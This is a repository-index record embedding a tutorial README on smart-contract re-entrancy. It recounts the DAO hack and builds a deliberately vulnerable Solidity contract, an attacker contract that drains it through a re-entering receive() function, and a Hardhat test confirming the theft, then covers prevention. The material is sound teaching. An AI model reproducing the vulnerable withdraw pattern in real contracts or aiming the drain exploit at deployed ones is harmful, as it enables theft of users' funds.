{"id":21936092,"url":"https://github.com/learnweb3dao/re-entrancy","last_synced_at":"2026-05-13T07:05:35.742Z","repository":{"id":40419876,"uuid":"450911625","full_name":"LearnWeb3DAO/Re-Entrancy","owner":"LearnWeb3DAO","description":null,"archived":false,"fork":false,"pushed_at":"2022-08-19T15:25:19.000Z","size":201,"stargazers_count":7,"open_issues_count":1,"forks_count":4,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-27T13:25:01.253Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/LearnWeb3DAO.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-01-22T19:10:30.000Z","updated_at":"2023-07-06T15:48:55.000Z","dependencies_parsed_at":"2022-08-09T19:51:11.808Z","dependency_job_id":null,"html_url":"https://github.com/LearnWeb3DAO/Re-Entrancy","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LearnWeb3DAO%2FRe-Entrancy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LearnWeb3DAO%2FRe-Entrancy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LearnWeb3DAO%2FRe-Entrancy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LearnWeb3DAO%2FRe-Entrancy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/LearnWeb3DAO","download_url":"https://codeload.github.com/LearnWeb3DAO/Re-Entrancy/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244966524,"owners_count":20539797,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-29T01:13:09.332Z","updated_at":"2026-05-13T07:05:35.698Z","avatar_url":"https://github.com/LearnWeb3DAO.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Re-Entrancy\n\nRe-Entrancy is one of the oldest security vulnerabilities that was discovered in smart contracts. It is the exact vulnerability that caused the infamous 'DAO Hack' of 2016. Over 3.6 million ETH was stolen in the hack, which today is worth billions of dollars. 🤯\n\nAt the time, the DAO contained 15% of all Ethereum on the network as Ethereum was relatively new. The failure was having a negative impact on the Ethereum network, and Vitalik Buterin proposed a software fork where the attacker would never be able to transfer out his ETH. Some people agreed, some did not. This was a highly controversial event, and one which still is full of controversy.\n\nAt the end, it led to Ethereum being forked into two - Ethereum Classic, and the Ethereum we know today. Ethereum Classic's blockchain is the exact same as Ethereum up until the fork, but then proceeded as if the hack did happen and the attacker still controls the stolen funds. Today's Ethereum implemented the blacklist and it's as if that attack never happened. 🤔\n\nThis is a simplified version of that story, and the entire dynamic was quite complex. Everyone was stuck between a rock and a hard place. [You can read more about this story here to know what happened in more detail](https://www.coindesk.com/learn/2016/06/25/understanding-the-dao-attack/)\n\nLet's learn more about this hack! 🚀\n\n\u003cQuiz questionId=\"3e4cc3db-dd7c-492e-ae31-e200cf7181dd\" /\u003e\n\n---\n\n## What is Re-Entrancy?\n\n![](https://i.imgur.com/Zl9kRLD.png)\n\nRe-Entrancy is the vulnerability in which if `Contract A` calls a function in `Contract B`, `Contract B` can then call back into `Contract A` while `Contract A` is still processing.\n\nThis can lead to some serious vulnerabilities in Smart contracts, often creating the possibility of draining funds from a contract.\n\n---\n\nLet's understand how this works with the example shown in the above diagram. Let's say `Contract A` has some function - call it `f()` that does 3 things:\n\n- Checks the balance of ETH deposited into `Contract A` by `Contract B`\n- Sends the ETH back to `Contract B`\n- Updates the balance of `Contract B` to 0\n\nSince the balance gets updated after the ETH has been sent, `Contract B` can do some tricky stuff here. If `Contract B` was to create a `fallback()` or `receive()` function in it's contract, which would execute when it received ETH, it could call `f()` in `Contract A` again.\n\nSince `Contract A` hasn't yet updated the balance of `Contract B` to be 0 at that point, it would send ETH to `Contract B` again - and herein lies the exploit, and `Contract B` could keep doing this until `Contract A` was completely out of ETH.\n\n## BUIDL\n\nWe will create a couple of smart contracts, `GoodContract` and `BadContract` to demonstrate this behaviour. `BadContract` will be able to drain all the ETH out from `GoodContract`.\n\n\u003e Note\nAll of these commands should work smoothly . If you are on windows and face Errors\nLike `Cannot read properties of null (reading 'pickAlgorithm')`\nTry Clearing the NPM cache using `npm cache clear --force`.\n\nLets build an example where you can experience how the Re-Entrancy attack happens.\n  \n- To set up a Hardhat project, Open up a terminal and execute these commands\n\n  ```bash\n  npm init --yes\n  npm install --save-dev hardhat\n  ```\n  \n- If you are on a Windows machine, please do this extra step and install these libraries as well :)\n\n  ```bash\n  npm install --save-dev @nomicfoundation/hardhat-toolbox @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers\n  ```\n- In the same directory where you installed Hardhat run:\n\n  ```bash\n  npx hardhat\n  ```\n\n  - Select `Create a basic sample project`\n  - Press enter for the already specified `Hardhat Project root`\n  - Press enter for the question on if you want to add a `.gitignore`\n  - Press enter for `Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?`\n\nNow you have a hardhat project ready to go!\n\nLet's start by creating a new file inside the `contracts` directory called `GoodContract.sol`\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\ncontract GoodContract {\n\n    mapping(address =\u003e uint) public balances;\n\n    // Update the `balances` mapping to include the new ETH deposited by msg.sender\n    function addBalance() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    // Send ETH worth `balances[msg.sender]` back to msg.sender\n    function withdraw() public {\n        require(balances[msg.sender] \u003e 0);\n        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}(\"\");\n        require(sent, \"Failed to send ether\");\n        // This code becomes unreachable because the contract's balance is drained\n        // before user's balance could have been set to 0\n        balances[msg.sender] = 0;\n    }\n}\n```\n\nThe contract is quite simple. The first function, `addBalance` updates a mapping to reflect how much ETH has been deposited into this contract by another address. The second function, `withdraw`, allows users to withdraw their ETH back - but the ETH is sent _before_ the balance is updated.\n\nNow lets create another file inside the contracts directory known as `BadContract.sol`\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\nimport \"./GoodContract.sol\";\n\ncontract BadContract {\n    GoodContract public goodContract;\n    constructor(address _goodContractAddress) {\n        goodContract = GoodContract(_goodContractAddress);\n    }\n\n    // Function to receive Ether\n    receive() external payable {\n        if(address(goodContract).balance \u003e 0) {\n            goodContract.withdraw();\n        }\n    }\n\n    // Starts the attack\n    function attack() public payable {\n        goodContract.addBalance{value: msg.value}();\n        goodContract.withdraw();\n    }\n}\n```\n\nThis contract is much more interesting, let's understand what is going on.\n\nWithin the constructor, this contract sets the address of `GoodContract` and initializes an instance of it.\n\nThe `attack` function is a `payable` function that takes some ETH from the attacker, deposits it into `GoodContract`, and then calls the `withdraw` function in `GoodContract`.\n\nAt this point, `GoodContract` will see that `BadContract` has a balance greater than 0, so it will send some ETH back to `BadContract`. However, doing this will trigger the `receive()` function in `BadContract`.\n\nThe `receive()` function will check if `GoodContract` still has a balance greater than 0 ETH, and call the `withdraw` function in `GoodContract` again.\n\nThis will create a loop where `GoodContract` will keep sending money to `BadContract` until it completely runs out of funds, and then finally reach a point where it updates `BadContract`'s balance to 0 and completes the transaction execution. At this point, the attacker has successfully stolen all the ETH from `GoodContract` due to re-entrancy.\n\n---\n\nWe will utilize Hardhat Tests to demonstrate that this attack actually works, to ensure that `BadContract` is actually draining all the funds from `GoodContract`. You can read the [Hardhat Docs for Testing](https://hardhat.org/tutorial/testing-contracts.html) to get familiar with the testing environment.\n\nLet's start off by creating a file named `attack.js` under the `test` folder, and add the following code there:\n\n```js\nconst { expect } = require(\"chai\");\nconst { BigNumber } = require(\"ethers\");\nconst { parseEther } = require(\"ethers/lib/utils\");\nconst { ethers } = require(\"hardhat\");\n\ndescribe(\"Attack\", function () {\n  it(\"Should empty the balance of the good contract\", async function () {\n    // Deploy the good contract\n    const goodContractFactory = await ethers.getContractFactory(\"GoodContract\");\n    const goodContract = await goodContractFactory.deploy();\n    await goodContract.deployed();\n\n    //Deploy the bad contract\n    const badContractFactory = await ethers.getContractFactory(\"BadContract\");\n    const badContract = await badContractFactory.deploy(goodContract.address);\n    await badContract.deployed();\n\n    // Get two addresses, treat one as innocent user and one as attacker\n    const [_, innocentAddress, attackerAddress] = await ethers.getSigners();\n\n    // Innocent User deposits 10 ETH into GoodContract\n    let tx = await goodContract.connect(innocentAddress).addBalance({\n      value: parseEther(\"10\"),\n    });\n    await tx.wait();\n\n    // Check that at this point the GoodContract's balance is 10 ETH\n    let balanceETH = await ethers.provider.getBalance(goodContract.address);\n    expect(balanceETH).to.equal(parseEther(\"10\"));\n\n    // Attacker calls the `attack` function on BadContract\n    // and sends 1 ETH\n    tx = await badContract.connect(attackerAddress).attack({\n      value: parseEther(\"1\"),\n    });\n    await tx.wait();\n\n    // Balance of the GoodContract's address is now zero\n    balanceETH = await ethers.provider.getBalance(goodContract.address);\n    expect(balanceETH).to.equal(BigNumber.from(\"0\"));\n\n    // Balance of BadContract is now 11 ETH (10 ETH stolen + 1 ETH from attacker)\n    balanceETH = await ethers.provider.getBalance(badContract.address);\n    expect(balanceETH).to.equal(parseEther(\"11\"));\n  });\n});\n```\n\nIn this test, we first deploy both `GoodContract` and `BadContract`.\n\nWe then get two signers from Hardhat - the testing account gives us access to 10 accounts which are pre-funded with ETH. We treat one as an innocent user, and the other as the attacker.\n\nWe have the innocent user send 10 ETH to `GoodContract`. Then, the attacker starts the attack by calling `attack()` on `BadContract` and sending 1 ETH to it.\n\nAfter the `attack()` transaction is finished, we check to see that `GoodContract` now has 0 ETH left, whereas `BadContract` now has 11 ETH (10 ETH that was stolen, and 1 ETH the attacker deposited).\n\nTo finally execute the test, on your terminal type:\n\n```\nnpx hardhat test\n```\n\nIf all your tests are passing, then the attack succeeded!\n\n\u003cQuiz questionId=\"606127d0-4268-4bb6-8a7c-27fd0f493b0b\" /\u003e\n\n## Prevention\n\nThere are two things you can do.\n\nEither, you could recognize that this function was vulnerable to re-entrancy, and make sure you update the user's balance in the `withdraw` function _before_ you actually send them the ETH, so if they try to callback into `withdraw` it will fail.\n\nAlternatively, `OpenZeppelin` has a `ReentrancyGuard` library that provides a modifier named `nonReentrant` which blocks re-entrancy in functions you apply it to. It basically works like the following:\n\n```solidity\nmodifier nonReentrant() {\n    require(!locked, \"No re-entrancy\");\n    locked = true;\n    _;\n    locked = false;\n}\n```\n\nIf you were to apply this on the `withdraw` function, the callbacks into `withdraw` would fail because `locked` will be equal to `true` until the first `withdraw` function finishes executing, thereby also preventing re-entrancy.\n\n\u003cQuiz questionId=\"6bd55dcf-31d5-4e9f-a37d-966f132ce31f\" /\u003e\n\u003cQuiz questionId=\"bf5fe91d-e039-457a-8bee-c64877590df6\" /\u003e\n\n## Readings\n\nThese are optional, but recommended, readings\n\n- [DAO Hack](https://www.coindesk.com/learn/2016/06/25/understanding-the-dao-attack/)\n- [Reentrancy Guard Library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)\n- [Hardhat Testing](https://hardhat.org/tutorial/testing-contracts.html)\n\n\u003cSubmitQuiz /\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flearnweb3dao%2Fre-entrancy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flearnweb3dao%2Fre-entrancy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flearnweb3dao%2Fre-entrancy/lists"}